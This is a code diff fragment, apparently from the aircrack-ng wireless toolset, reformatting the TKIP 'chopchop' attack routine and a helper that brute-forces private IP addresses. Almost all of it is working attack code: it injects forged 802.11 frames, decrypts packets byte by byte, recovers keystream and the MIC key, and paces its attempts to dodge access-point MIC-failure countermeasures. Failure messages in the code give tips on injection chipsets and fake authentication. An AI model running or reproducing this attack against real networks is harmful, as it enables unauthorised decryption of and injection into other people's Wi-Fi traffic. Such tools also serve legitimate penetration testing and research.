+			/* check 172.16-31.j.1-254 */
+			for (i = 16; i < 32; i++)
+			{
+				psip[0] = 172;
+				psip[1] = i;
+
+				if (check_guess(srcbuf,
+								chopped,
+								caplen,
+								clearlen,
+								arp,
+								dmac)) // got correct guess
+					return 0;
+			}
+		}
 
-//     memcpy( chopped + 24, h80211 + z, 4 );
+		printf("Checking 10.x.y.z\n");
+		/* check 10.i.j.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			psip[0] = 10;
+			psip[1] = i;
+
+			if (check_guess(srcbuf,
+							chopped,
+							caplen,
+							clearlen,
+							arp,
+							dmac)) // got correct guess
+				return 0;
+		}
+	}
 
-    /* setup the xor mask to hide the original data */
+	if (caplen - z - 8 - clearlen <= 23)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 192
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
+		{
+			psip[0] = 192;
+
+			if (check_guess(srcbuf,
+							chopped,
+							caplen,
+							clearlen,
+							arp,
+							dmac)) // got correct guess
+				return 0;
+		}
 
-    crc_mask = 0;
+		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 172
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
+		{
+			printf("Checking 172.16-31.y.z\n");
+			/* check 172.16-31.j.1-254 */
+			psip[0] = 172;
+
+			if (check_guess(srcbuf,
+							chopped,
+							caplen,
+							clearlen,
+							arp,
+							dmac)) // got correct guess
+				return 0;
+		}
 
-    for( i = data_start; i < data_end - 4; i++ )
-    {
-        switch( i - data_start )
-        {
-            case  0: chopped[i] = b1 ^ 0xE0; break;
-            case  1: chopped[i] = b2 ^ 0xE0; break;
-            case  2: chopped[i] = 0x03 ^ 0x03; break;
-            default: chopped[i] = 0x55 ^ ( i & 0xFF ); break;
-        }
-
-        crc_mask = crc_tbl[crc_mask & 0xFF]
-                 ^ ( crc_mask   >>  8 )
-                 ^ ( chopped[i] << 24 );
-    }
+		printf("Checking 10.x.y.z\n");
+		/* check 10.i.j.1-254 */
+		psip[0] = 10;
+
+		if (check_guess(srcbuf,
+						chopped,
+						caplen,
+						clearlen,
+						arp,
+						dmac)) // got correct guess
+			return 0;
+	}
 
-    for( i = 0; i < 4; i++ )
-        crc_mask = crc_tbl[crc_mask & 0xFF]
-                 ^ ( crc_mask >> 8 );
-
-    chopped[data_end - 4] = crc_mask; crc_mask >>= 8;
-    chopped[data_end - 3] = crc_mask; crc_mask >>= 8;
-    chopped[data_end - 2] = crc_mask; crc_mask >>= 8;
-    chopped[data_end - 1] = crc_mask; crc_mask >>= 8;
-
-    for( i = data_start; i < data_end; i++ )
-        chopped[i] ^= srcbuf[i];
-//         chopped[i] ^= srcbuf[i+srcdiff];
-
-    data_start += 6; /* skip the SNAP header */
-
-    is_deauth_mode = 0;
-
-//     opt.r_dmac[0] = 0xFF;
-//     opt.r_dmac[1] = rand() & 0xFE;
-//     opt.r_dmac[2] = rand() & 0xFF;
-//     opt.r_dmac[3] = rand() & 0xFF;
-//     opt.r_dmac[4] = rand() & 0xFF;
+	if (caplen - z - 8 - clearlen <= 32)
+	{
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 1; j < 255; j++)
+			{
+				psip[0] = srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32];
+				psip[1] = srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33];
+				psip[2] = i;
+				psip[3] = j;
+
+				if (check_guess(srcbuf,
+								chopped,
+								caplen,
+								clearlen,
+								arp,
+								dmac)) // got correct guess
+					return 0;
+			}
+		}
+	}
+	return 1;
+}
 
-    /* chop down old/known keystreambytes */
-    for(i=0; i<opt.oldkeystreamlen; i++)
-    {
-        guess = (opt.oldkeystream[i] ^ chopped[data_end - 1]) % 256;
+static int do_attack_tkipchop(unsigned char * src_packet, int src_packet_len)
+{
+	float f, ticks[4];
+	int i, j, n, z, caplen, srcz, srclen;
+	int data_start, data_end, srcdiff, diff;
+	int guess, is_deauth_mode;
+	int nb_bad_pkt;
+	int tried_header_rec = 0;
+	int tries = 0;
+	int keystream_len = 0;
+	int settle = 0;
+
+	unsigned char b1 = 0xAA;
+	unsigned char b2 = 0xAA;
+
+	unsigned char mic[8];
+	unsigned char smac[6], dmac[6], bssid[6];
+	unsigned char rc4key[16], keystream[4096];
+
+	FILE * f_cap_out;
+	long nb_pkt_read;
+	unsigned long crc_mask;
+	unsigned char * chopped;
+
+	unsigned char packet[4096];
+
+	time_t tt;
+	struct tm * lt;
+	struct timeval tv;
+	struct timeval tv2;
+	struct timeval mic_fail;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
+
+	srand(time(NULL));
+
+	memcpy(h80211, src_packet, src_packet_len);
+	caplen = src_packet_len;
+	if ((h80211[1] & 3) == 1)
+	{
+		h80211[1] += 1;
+
+		memcpy(bssid, srcbuf + 4, 6);
+		memcpy(dmac, srcbuf + 16, 6);
+		memcpy(smac, srcbuf + 10, 6);
+
+		memcpy(srcbuf + 10, bssid, 6);
+		memcpy(srcbuf + 4, dmac, 6);
+		memcpy(srcbuf + 16, smac, 6);
+		//         memcpy(h80211+16, BROADCAST, 6);
+	}
 
-        n = caplen - data_start;
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+	srcz = z;
+
+	if ((unsigned) caplen > sizeof(srcbuf)
+		|| (unsigned) caplen > sizeof(h80211))
+		return (1);
+
+	//     if( opt.r_smac_set == 1 )
+	//     {
+	//         //handle picky APs (send one valid packet before all the invalid
+	//         ones)
+	//         memset(packet, 0, sizeof(packet));
+	//
+	//         memcpy( packet, NULL_DATA, 24 );
+	//         memcpy( packet +  4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 );
+	//         memcpy( packet + 10, opt.r_smac,  6 );
+	//         memcpy( packet + 16, opt.f_bssid, 6 );
+	//
+	//         packet[0] = 0x08; //make it a data packet
+	//         packet[1] = 0x41; //set encryption and ToDS=1
+	//
+	//         memcpy( packet+24, h80211+z, caplen-z);
+	//
+	//         if( send_packet( packet, caplen-z+24 ) != 0 )
+	//             return( 1 );
+	//         //done sending a correct packet
+	//     }
+
+	/* Special handling for spanning-tree packets */
+	if (memcmp(h80211 + 4, SPANTREE, 6) == 0
+		|| memcmp(h80211 + 16, SPANTREE, 6) == 0)
+	{
+		b1 = 0x42;
+		b2 = 0x42;
+	}
 
-        chopped[data_end - 1] ^= guess;
-        chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
-        chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
-        chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
-        chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
-
-        printf( "\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X\n", data_end - 1,
-                100 * ( caplen - data_end ) / n,
-                chopped[data_end - 1],
-                chopped[data_end - 1] ^ srcbuf[data_end - 1]);
+	printf("\n");
 
-        data_end--;
-    }
+	/* chopchop operation mode: truncate and decrypt the packet */
+	/* we assume the plaintext starts with  AA AA 03 00 00 00   */
+	/* (42 42 03 00 00 00 for spanning-tree packets)            */
+
+	memcpy(srcbuf, h80211, caplen);
+
+	/* debug: generate the keystream */
+	if (opt.got_ptk)
+	{
+		calc_tkip_ppk(srcbuf, caplen, opt.wpa_sta.ptk + 32, rc4key);
+		PCT;
+		printf("Per Packet Key: ");
+		for (i = 0; i < 15; i++) printf("%02X:", rc4key[i]);
+		printf("%02X\n", rc4key[15]);
+
+		memset(keystream, 0, 4096);
+
+		keystream_len = caplen - z - 8;
+		encrypt_wep(keystream, keystream_len, rc4key, 16);
+
+		PCT;
+		printf("Keystream length: %i, Keystream:\n", keystream_len);
+		for (i = 0; i < keystream_len - 1; i++) printf("%02X:", keystream[i]);
+		printf("%02X\n", keystream[keystream_len - 1]);
+
+		memcpy(packet, srcbuf, caplen);
+		PCT;
+		printf("Decrypt: %i\n",
+			   decrypt_wep(packet + z + 8, caplen - z - 8, rc4key, 16));
+		PCT;
+		printf("Keystream 2:\n");
+		for (i = 0; i < keystream_len - 1; i++)
+			printf("%02X:", packet[z + 8 + i] ^ srcbuf[z + 8 + i]);
+		printf("%02X\n",
+			   packet[z + 8 + keystream_len - 1]
+				   ^ srcbuf[z + 8 + keystream_len - 1]);
+
+		//         opt.oldkeystreamlen = keystream_len-(47-z-8);
+		opt.oldkeystreamlen = keystream_len - 37;
+		for (i = 0; i < opt.oldkeystreamlen; i++)
+			opt.oldkeystream[i] = keystream[keystream_len - 1 - i];
+	}
 
-    /* let's go chopping */
+	/* setup the chopping buffer */
 
-    memset( ticks, 0, sizeof( ticks ) );
+	n = caplen;
 
-    nb_pkt_read = 0;
-    nb_pkt_sent = 0;
-    nb_bad_pkt  = 0;
-    guess       = 256;
+	switch (srcbuf[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, srcbuf + 16, 6);
+			memcpy(dmac, srcbuf + 4, 6);
+			memcpy(smac, srcbuf + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, srcbuf + 4, 6);
+			memcpy(dmac, srcbuf + 16, 6);
+			memcpy(smac, srcbuf + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, srcbuf + 10, 6);
+			memcpy(dmac, srcbuf + 4, 6);
+			memcpy(smac, srcbuf + 16, 6);
+			break;
+		default:
+			memcpy(bssid, srcbuf + 10, 6);
+			memcpy(dmac, srcbuf + 16, 6);
+			memcpy(smac, srcbuf + 24, 6);
+			break;
+	}
 
-    tt = time( NULL );
+	if ((chopped = (unsigned char *) malloc(n)) == NULL)
+	{
+		perror("malloc failed");
+		return (1);
+	}
 
-//     alarm( 30 );
-//
-//     signal( SIGALRM, sighandler );
+	memset(chopped, 0, n);
 
-    if(opt.port_in <= 0)
-    {
-        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
-        {
-            perror( "fcntl(O_NONBLOCK) failed" );
-            return( 1 );
-        }
-    }
+	memcpy(chopped, h80211, n);
 
-    while( data_end > data_start )
-    {
-        if( alarmed )
-        {
-            printf( "\n\n"
-"The chopchop attack appears to have failed. Possible reasons:\n"
-"\n"
-"    * You're trying to inject with an unsupported chipset (Centrino?).\n"
-"    * The driver source wasn't properly patched for injection support.\n"
-"    * You are too far from the AP. Get closer or reduce the send rate.\n"
-"    * Target is 802.11g only but you are using a Prism2 or RTL8180.\n"
-"    * The wireless interface isn't setup on the correct channel.\n" );
-            if( is_deauth_mode )
-                printf(
-"    * The AP isn't vulnerable when operating in non-authenticated mode.\n"
-"      Run aireplay-ng in authenticated mode instead (-h option).\n\n" );
-            else
-                printf(
-"    * The client MAC you have specified is not currently authenticated.\n"
-"      Try running another aireplay-ng to fake authentication (attack \"-1\").\n"
-"    * The AP isn't vulnerable when operating in authenticated mode.\n"
-"      Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" );
-            return( 1 );
-        }
-
-        /* wait for the next timer interrupt, or sleep */
-
-        if( (nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0)
-        {
-            printf( "\rLooks like mic failure report was not detected."
-                    "Waiting %i seconds before trying again to avoid "
-                    "the AP shutting down.\n", opt.mic_failure_interval);
-            fflush( stdout );
-            settle = 1;
-            sleep(opt.mic_failure_interval);
-        }
-
-        if( dev.fd_rtc >= 0 )
-        {
-            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
-            {
-                perror( "\nread(/dev/rtc) failed" );
-                return( 1 );
-            }
-
-            ticks[0]++;  /* ticks since we entered the while loop     */
-            ticks[1]++;  /* ticks since the last status line update   */
-            ticks[2]++;  /* ticks since the last frame was sent       */
-            ticks[3]++;  /* ticks since started chopping current byte */
-        }
-        else
-        {
-            /* we can't trust usleep, since it depends on the HZ */
-
-            gettimeofday( &tv,  NULL );
-            usleep( 976 );
-            gettimeofday( &tv2, NULL );
-
-            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
-                        + (float) ( tv2.tv_usec - tv.tv_usec );
-
-            ticks[0] += f / 976;
-            ticks[1] += f / 976;
-            ticks[2] += f / 976;
-            ticks[3] += f / 976;
-        }
-
-        /* update the status line */
-
-        if( ticks[1] > (RTC_RESOLUTION/10) )
-        {
-            ticks[1] = 0;
-            printf( "\rSent %3ld packets, current guess: %02X...\33[K",
-                    nb_pkt_sent, guess );
-            fflush( stdout );
-        }
-
-/*        if( data_end < 47 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) /
-                                (int) ( caplen - ( data_end - 1 ) ) )*/
-        if( data_end < 47 && tries > 512)
-        {
-            header_rec:
-
-            printf( "\n\nThe AP appears to drop packets shorter "
-                    "than %d bytes.\n",data_end );
-
-            data_end = 46;
-
-            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-                z+=2;
-
-            diff = z-24;
-
-            if( ( chopped[data_end + 0] ^ srcbuf[data_end + 0] ) == 0x06 &&
-                ( chopped[data_end + 1] ^ srcbuf[data_end + 1] ) == 0x04 &&
-                ( chopped[data_end + 2] ^ srcbuf[data_end + 2] ) == 0x00 )
-            {
-                printf( "Enabling standard workaround: "
-                        "ARP header re-creation.\n" );
-
-                chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08;
-                chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x06;
-                chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ 0x00;
-                chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ 0x01;
-                chopped[26 + 8 + 10] = srcbuf[26 + 8 + 10] ^ 0x08;
-                chopped[26 + 8 + 11] = srcbuf[26 + 8 + 11] ^ 0x00;
-            }
-            else
-            {
-                printf( "Enabling standard workaround: "
-                        " IP header re-creation.\n" );
-
-                n = caplen - ( z + 16 );
-
-                chopped[26 + 8 +  0] = srcbuf[26 + 8 + 0] ^ 0xAA;
-                chopped[26 + 8 +  1] = srcbuf[26 + 8 + 1] ^ 0xAA;
-                chopped[26 + 8 +  2] = srcbuf[26 + 8 + 2] ^ 0x03;
-                chopped[26 + 8 +  3] = srcbuf[26 + 8 + 3] ^ 0x00;
-                chopped[26 + 8 +  4] = srcbuf[26 + 8 + 4] ^ 0x00;
-                chopped[26 + 8 +  5] = srcbuf[26 + 8 + 5] ^ 0x00;
-                chopped[26 + 8 +  6] = srcbuf[26 + 8 + 6] ^ 0x08;
-                chopped[26 + 8 +  7] = srcbuf[26 + 8 + 7] ^ 0x00;
-                chopped[26 + 8 +  8] = srcbuf[26 + 8 + 8] ^ ( n >> 8 );
-                chopped[26 + 8 +  9] = srcbuf[26 + 8 + 9] ^ ( n & 0xFF );
-
-                memcpy( h80211, srcbuf, caplen );
-
-                for( i = 26 + 8; i < (int) caplen; i++ )
-                    h80211[i - 8] = h80211[i] ^ chopped[i];
-
-                /* sometimes the header length or the tos field vary */
-
-                for( i = 0; i < 16; i++ )
-                {
-                    h80211[26 +  8] = 0x40 + i;
-                    chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ ( 0x40 + i );
-
-                    for( j = 0; j < 256; j++ )
-                    {
-                        h80211[26 +  9] = j;
-                        chopped[26 + 13] = srcbuf[26 + 8 + 9] ^ j;
-
-                        if( check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) )
-                            goto have_crc_match;
-                    }
-                }
-
-                printf( "This doesn't look like an IP packet, "
-                        "try another one.\n" );
-            }
-
-        have_crc_match:
-            break;
-        }
-
-        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 )
-        {
-            /* send one modified frame */
-
-            ticks[2] = 0;
-
-            memcpy( h80211, chopped, data_end - 1 );
-
-            /* note: guess 256 is special, it tests if the  *
-             * AP properly drops frames with an invalid ICV *
-             * so this guess always has its bit 8 set to 0  */
-
-            if( is_deauth_mode )
-            {
-                opt.r_smac[1] |= ( guess < 256 );
-                opt.r_smac[5]  = guess & 0xFF;
-            }
-            else
-            {
-                opt.r_dmac[1] |= ( guess < 256 );
-                opt.r_dmac[5]  = guess & 0xFF;
-            }
-
-//             memcpy( h80211 + 10, opt.r_smac,  6 );
-//             memcpy( h80211 + 16, opt.r_dmac,  6 );
-
-            if( guess < 256 )
-            {
-                h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
-                h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
-                h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
-                h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
-            }
-
-            errno = 0;
-
-            if( send_packet( h80211, data_end -1 ) != 0 )
-            {
-                free(chopped);
-                return( 1 );
-            }
-
-            if( errno != EAGAIN )
-            {
-                guess++;
-
-                if( guess > 256 )
-                    guess = 0;
-                else
-                    tries++;
-
-                settle=0;
-            }
-
-            if(tries > 768 && data_end < srclen)
-            {
-                //go back one step and validate the last chopped byte
-                tries = 0;
-
-                data_end++;
-
-                guess = chopped[data_end - 1] ^ srcbuf[data_end - 1];
-
-                chopped[data_end - 1] ^= guess;
-                chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
-                chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
-                chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
-                chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
-
-                ticks[3]        = 0;
-                nb_pkt_sent     = 0;
-                nb_bad_pkt      = 0;
-                guess           = 256;
-
-                PCT; printf("\nMoved one step backwards to chop the last byte again.\n");
-                continue;
-            }
-        }
-
-        /* watch for a response from the AP */
-
-        n = read_packet( h80211, sizeof( h80211 ), NULL );
-
-        if( n  < 0 ){
-            free(chopped);
-            return( 1 );
-        }
-        if( n == 0 ) continue;
-
-        nb_pkt_read++;
-
-        /* check if it's a deauth packet */
-
-        if( h80211[0] == 0xA0 || h80211[0] == 0xC0 )
-        {
-            if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 )
-            {
-                nb_bad_pkt++;
-
-                if( nb_bad_pkt > 2 )
-                {
-                    printf(
-                "\n\nFailure: got several deauthentication packets "
-                "from the AP - you need to start the whole process "
-                "all over again, as the client got disconnected.\n\n" );
-                    free(chopped);
-                    return( 1 );
-                }
-
-                continue;
-            }
-
-            if( h80211[4] != opt.r_smac[0] ) continue;
-            if( h80211[6] != opt.r_smac[2] ) continue;
-            if( h80211[7] != opt.r_smac[3] ) continue;
-            if( h80211[8] != opt.r_smac[4] ) continue;
-
-//             if( ( h80211[5]     & 0xFE ) !=
-//                 ( opt.r_smac[1] & 0xFE ) ) continue;
-
-/*            if( ! ( h80211[5] & 1 ) )
-            {*/
-            	if( data_end < 41 ) goto header_rec;
-
-                printf( "\n\nFailure: the access point does not properly "
-                        "discard frames with an\ninvalid ICV - try running "
-                        "aireplay-ng in authenticated mode (-h) instead.\n\n" );
-                free(chopped);
-                return( 1 );
-//             }
-        }
-        else
-        {
-            /* check if it's a WEP data packet */
-
-            if( ( h80211[0] & 0x0C ) != 8 ) continue; //must be a data packet
-            if( ( h80211[0] & 0x70 ) != 0 ) continue;
-//             if( ( h80211[1] & 0x03 ) != 2 ) continue;
-            if( ( h80211[1] & 0x40 ) == 0 ) continue;
-
-            /* get header length right */
-            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-                z+=2;
-
-            /* check the extended IV (TKIP) flag */
-            if( ( h80211[z + 3] & 0x20 ) == 0 ) continue;
-
-            /* check length (153)!? */
-            if( z+127 != n ) continue; //(153[26+127] bytes for eapol mic failure in tkip qos frames from client to AP)
-
-//             printf("yeah!\n");
-
-            //direction must be inverted.
-            if( ((h80211[1] & 3) ^ (srcbuf[1] & 3)) != 0x03 ) continue;
-
-            //check correct macs
-            switch( h80211[1] & 3 )
-            {
-                case  1:
-                    if( memcmp( bssid, h80211 +  4, 6 ) != 0 &&
-                        memcmp( dmac , h80211 + 10, 6 ) != 0 &&
-                        memcmp( bssid, h80211 + 16, 6 ) != 0) continue;
-                    break;
-                case  2:
-                    if( memcmp( smac , h80211 +  4, 6 ) != 0 &&
-                        memcmp( bssid, h80211 + 10, 6 ) != 0 &&
-                        memcmp( bssid, h80211 + 16, 6 ) != 0) continue;
-                    break;
-                default:
-                    continue;
-                    break;
-            }
-
-/*            if( h80211[4] != opt.r_dmac[0] ) continue;
-            if( h80211[6] != opt.r_dmac[2] ) continue;
-            if( h80211[7] != opt.r_dmac[3] ) continue;
-            if( h80211[8] != opt.r_dmac[4] ) continue;
-
-            if( ( h80211[5]     & 0xFE ) !=
-                ( opt.r_dmac[1] & 0xFE ) ) continue;
-
-            if( ! ( h80211[5] & 1 ) )
-            {
-            	if( data_end < 41 ) goto header_rec;
-
-                printf( "\n\nFailure: the access point does not properly "
-                        "discard frames with an\ninvalid ICV - try running "
-                        "aireplay-ng in non-authenticated mode instead.\n\n" );
-                return( 1 );
-            }*/
-            if(nb_pkt_sent < 1)
-                continue;
-        }
-
-        /* we have a winner */
-
-//         guess = h80211[9];
-        tries = 0;
-        settle = 0;
-        guess = (guess - 1) % 256;
-
-        chopped[data_end - 1] ^= guess;
-        chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
-        chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
-        chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
-        chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
-
-        n = caplen - data_start;
-
-        printf( "\r"); PCT; printf("Offset %4d (%2d%% done) | xor = %02X | pt = %02X | "
-                "%4ld frames written in %5.0fms\n", data_end - 1,
-                100 * ( caplen - data_end ) / n,
-                chopped[data_end - 1],
-                chopped[data_end - 1] ^ srcbuf[data_end - 1],
-                nb_pkt_sent, ticks[3] );
-
-        if( is_deauth_mode )
-        {
-            opt.r_smac[1] = rand() & 0x3E;
-            opt.r_smac[2] = rand() & 0xFF;
-            opt.r_smac[3] = rand() & 0xFF;
-            opt.r_smac[4] = rand() & 0xFF;
-        }
-        else
-        {
-            opt.r_dmac[1] = rand() & 0xFE;
-            opt.r_dmac[2] = rand() & 0xFF;
-            opt.r_dmac[3] = rand() & 0xFF;
-            opt.r_dmac[4] = rand() & 0xFF;
-        }
-
-        ticks[3]        = 0;
-        nb_pkt_sent     = 0;
-        nb_bad_pkt      = 0;
-        guess           = 256;
-
-        data_end--;
-
-        gettimeofday(&opt.last_mic_failure, NULL);
-        PCT; printf("\rSleeping for %i seconds.", opt.mic_failure_interval);
-        fflush(stdout);
-
-        if( guess_packet(srcbuf, chopped, caplen, caplen-data_end) == 0) //found correct packet :)
-            break;
-
-        while(1)
-        {
-            gettimeofday(&mic_fail, NULL);
-            if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000)
-                break;
-            sleep(1);
-        }
+	data_start = 26 + 8;
+	srclen = data_end = n;
+	srcdiff = z - 24;
+
+	//     chopped[0] = 0x88;  /* QoS data frame */
+	//     chopped[1] = 0x41;  /* WEP = 1, ToDS = 1 */
+
+	chopped[24] ^= 0x01;
+	chopped[25] = 0x00;
+
+	//     for(i=0; i<4; i++)
+	//     {
+	//         chopped[24] = 0x01;
+	//         if( send_packet( chopped, n ) != 0 )
+	//                 return( 1 );
+	//         usleep(10000);
+	//     }
+
+	/* copy the duration */
+
+	//     memcpy( chopped + 2, h80211 + 2, 2 );
+
+	/* copy the BSSID */
+
+	//     switch( h80211[1] & 3 )
+	//     {
+	//         case  0: memcpy( chopped + 4, h80211 + 16, 6 ); break;
+	//         case  1: memcpy( chopped + 4, h80211 +  4, 6 ); break;
+	//         case  2: memcpy( chopped + 4, h80211 + 10, 6 ); break;
+	//         default: memcpy( chopped + 4, h80211 + 10, 6 ); break;
+	//     }
+
+	/* copy the WEP IV */
+
+	//     memcpy( chopped + 24, h80211 + z, 4 );
+
+	/* setup the xor mask to hide the original data */
+
+	crc_mask = 0;
+
+	for (i = data_start; i < data_end - 4; i++)
+	{
+		switch (i - data_start)
+		{
+			case 0:
+				chopped[i] = b1 ^ 0xE0;
+				break;
+			case 1:
+				chopped[i] = b2 ^ 0xE0;
+				break;
+			case 2:
+				chopped[i] = 0x03 ^ 0x03;
+				break;
+			default:
+				chopped[i] = 0x55 ^ (i & 0xFF);
+				break;
+		}
 
-        alarm( 0 );
-    }
+		crc_mask
+			= crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8) ^ (chopped[i] << 24);
+	}
 
-    /* reveal the plaintext (chopped contains the prga) */
+	for (i = 0; i < 4; i++)
+		crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8);
 
-    memcpy( h80211, srcbuf, caplen );
+	chopped[data_end - 4] = crc_mask;
+	crc_mask >>= 8;
+	chopped[data_end - 3] = crc_mask;
+	crc_mask >>= 8;
+	chopped[data_end - 2] = crc_mask;
+	crc_mask >>= 8;
+	chopped[data_end - 1] = crc_mask;
+	crc_mask >>= 8;
+
+	for (i = data_start; i < data_end; i++) chopped[i] ^= srcbuf[i];
+	//         chopped[i] ^= srcbuf[i+srcdiff];
+
+	data_start += 6; /* skip the SNAP header */
+
+	is_deauth_mode = 0;
+
+	//     opt.r_dmac[0] = 0xFF;
+	//     opt.r_dmac[1] = rand() & 0xFE;
+	//     opt.r_dmac[2] = rand() & 0xFF;
+	//     opt.r_dmac[3] = rand() & 0xFF;
+	//     opt.r_dmac[4] = rand() & 0xFF;
+
+	/* chop down old/known keystreambytes */
+	for (i = 0; i < opt.oldkeystreamlen; i++)
+	{
+		guess = (opt.oldkeystream[i] ^ chopped[data_end - 1]) % 256;
+
+		n = caplen - data_start;
+
+		chopped[data_end - 1] ^= guess;
+		chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
+		chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
+		chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
+		chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
+
+		printf("\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X\n",
+			   data_end - 1,
+			   100 * (caplen - data_end) / n,
+			   chopped[data_end - 1],
+			   chopped[data_end - 1] ^ srcbuf[data_end - 1]);
 
-    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-        z+=2;
-    diff = z-24;
-
-    chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ b1;
-    chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ b2;
-    chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03;
-    chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00;
-    chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00;
-    chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00;
-
-    for( i = 26 + 8; i < (int) caplen; i++ )
-        h80211[i - 8] = h80211[i] ^ chopped[i];
-
-    if( ! check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) ) {
-        if (!tried_header_rec) {
-            printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" );
-            tried_header_rec=1;
-            goto header_rec;
-        } else {
-            printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" );
-        }
-    }
+		data_end--;
+	}
 
-    caplen -= 8 + 4; /* remove the TKIP EXT IV & CRC (ICV) */
+	/* let's go chopping */
 
-    if(opt.got_ptk)
-    {
-        PCT; printf("Priority: %02X:%02X\n", h80211[z-2], h80211[z-1]);
-        calc_tkip_mic(h80211, caplen-8, opt.wpa_sta.ptk, mic);
-        if( memcmp(mic, h80211+caplen-8, 8) == 0)
-        {
-            PCT; printf("Correct MIC!\n");
-        }
-        else
-        {
-            PCT; printf("Incorrect MIC!\n");
-        }
-        PCT; printf("Captured MIC: ");
-        for(i=0; i<7; i++)
-            printf("%02X:", h80211[caplen-8+i]);
-        printf("%02X\n", h80211[caplen-1]);
-        PCT; printf("Calculated MIC: ");
-        for(i=0; i<7; i++)
-            printf("%02X:", mic[i]);
-        printf("%02X\n", mic[7]);
-    }
+	memset(ticks, 0, sizeof(ticks));
 
-    calc_tkip_mic_key(h80211, caplen, mic);
+	nb_pkt_read = 0;
+	nb_pkt_sent = 0;
+	nb_bad_pkt = 0;
+	guess = 256;
+
+	tt = time(NULL);
+
+	//     alarm( 30 );
+	//
+	//     signal( SIGALRM, sighandler );
+
+	if (opt.port_in <= 0)
+	{
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			free(chopped);
+			return (1);
+		}
+	}
 
-    h80211[1] &= 0xBF;   /* remove the WEP bit, too */
+	while (data_end > data_start)
+	{
+		if (alarmed)
+		{
+			printf("\n\n"
+				   "The chopchop attack appears to have failed. Possible "
+				   "reasons:\n"
+				   "\n"
+				   "    * You're trying to inject with an unsupported chipset "
+				   "(Centrino?).\n"
+				   "    * The driver source wasn't properly patched for "
+				   "injection support.\n"
+				   "    * You are too far from the AP. Get closer or reduce "
+				   "the send rate.\n"
+				   "    * Target is 802.11g only but you are using a Prism2 or "
+				   "RTL8180.\n"
+				   "    * The wireless interface isn't setup on the correct "
+				   "channel.\n");
+			if (is_deauth_mode)
+				printf("    * The AP isn't vulnerable when operating in "
+					   "non-authenticated mode.\n"
